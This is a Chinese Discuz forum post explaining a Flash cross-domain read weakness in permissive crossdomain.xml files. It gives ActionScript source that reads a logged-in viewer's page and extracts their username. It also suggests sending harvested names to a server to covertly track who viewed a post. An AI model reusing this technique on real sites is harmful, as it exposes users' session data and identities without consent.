抢注百度搜索高排名流量域名、品牌商标保护、微信绿标安全域名、备案精品短域名,上铭正知产!

 找回密碼
 加入我們

discuz論壇程序通過flash調用用戶名實現「XXX,記得回帖」的原理

[複製鏈接]
老黑醬 發表於 2017-7-29 11:33:28 | 顯示全部樓層 |閱讀模式
discuz論壇程序通過flash調用用戶名實現「XXX,記得回帖」的原理,同一個swf文件每個人看到的都是針對自己的名字。

很久以前,應該可以追溯到2015年的時候,discuz論壇爆出一個漏洞,flash的跨域讀取問題,其實這個問題存在許久,只是沒拿到明面上說而已,那麼這個漏洞到底可以幹什麼呢?又可以做什麼實驗呢?這裡我只簡單的提一條,當然他的作用不僅僅如此,腦洞大的同學可以舉一反三。(別做破壞)
先看效果


(如果沒有問題的話上面效果應該是你的 會員名,記得回帖哦 沒有效果點擊播放或者刷新下看看,未做多端測試,懶)


      類似的情況和部分簽名獲取ip顯示什麼瀏覽器什麼ip什麼天氣之類的類似,運用的技術確是天差地別,危害程度也是不一樣的。


原理什麼的最有意思了
       那我們開始介紹原理,就是利用flash可以跨域讀取問題,問題的根源是crossdomain.xml,這裡沒有做跨域訪問限制,當然默認discuz也沒有做,即使做了也有方法繞過,這裡不延申。
那麼簡單明瞭的說,跨域讀取有什麼效果呢?
       在當前網頁右擊,查看源代碼,你登錄後的源代碼和登錄前的源代碼是不一樣的,我們能讀取的是登錄後的源碼,登錄後的源碼裡面包含了很多有用的東西,如果獲取相關信息之後,構造鏈接,構造表單,這中間的危害不言而喻,我們這裡只用其中的一個小東西,用戶名,我們在flash中寫下如下源碼。
  1. package {
  2.     import flash.display.Sprite;
  3.     import flash.events.*;
  4.     import flash.net.*;
  5.         import flash.utils.ByteArray;
  6.         import flash.system.*;
  7.         import flash.text.*;
  8.         
  9.          
  10.     public class MainTimeline extends Sprite {
  11.                
  12.         public function MainTimeline() {
  13.             var loader:URLLoader = new URLLoader();
  14.             configureListeners(loader);
  15.                         System.useCodePage = true;
  16.             var url:String = "http://www.xxx.com/";
  17.             loader.load(new URLRequest(url));  
  18.                         
  19.                         
  20.                         
  21.         }

  22.         private function configureListeners(dispatcher:IEventDispatcher):void {
  23.                         
  24.             dispatcher.addEventListener(Event.COMPLETE, completeHandler);
  25.          
  26.         }

  27.         private function completeHandler(event:Event):void {
  28.             var loader:URLLoader = URLLoader(event.target);
  29.                         var str:String = loader.data;
  30.                         //trace(str);
  31.                         var pattern:RegExp = /<a href="space-uid-(.*?)\.html" target="_blank" title="訪問我的空間">(.*?)<\/a>/;
  32.                         
  33.                         
  34.                         var result:Object = pattern.exec(str);
  35.                  
  36.                         
  37.                         if(pattern.exec(str) == null){
  38.                                 //tt.text = 'null';
  39.                         }else{
  40.                                  //tt.text = result[1] + "   " + result[2];
  41.                                  var datas:String = result[2] +"記得回帖哦!";
  42.                                 xx.text = datas;
  43.                         }
  44.                   
  45.       
  46.         }


  47.                
  48.       
  49.     }
  50. }
複製代碼
大致的作用就是獲取論壇首頁源代碼,在中間正則匹配出用戶名然後,利用flash的動態文本賦值,拼接出 xxx,記得回帖哦,當然還可以弄的更逼真,例如和帖子字體統一,swf大小適當縮放到一定比例,這裡就不美化了。
拓展
       好了教程就到這裡了,最後大家可以想想這個實驗功能的延伸,例如誰看過我得帖子,發了一個福利貼,看過的人幾千,然而回復的人只有幾百,如果能知道誰看了我得帖子,嘿嘿,當你獲取到用戶名,你完全可以發送到服務器接受,然後保存起來,最後你就會有一個列表,這裡面就是看過你帖子的人。
回復

使用道具 舉報

您需要登錄後才可以回帖 登錄 | 加入我們

本版積分規則

备案权重域名预定

4um點擊跨境網編創業社區

GMT+8, 2024-11-24 05:27

By DZ X3.5

QQ

快速回復 返回頂部 返回列表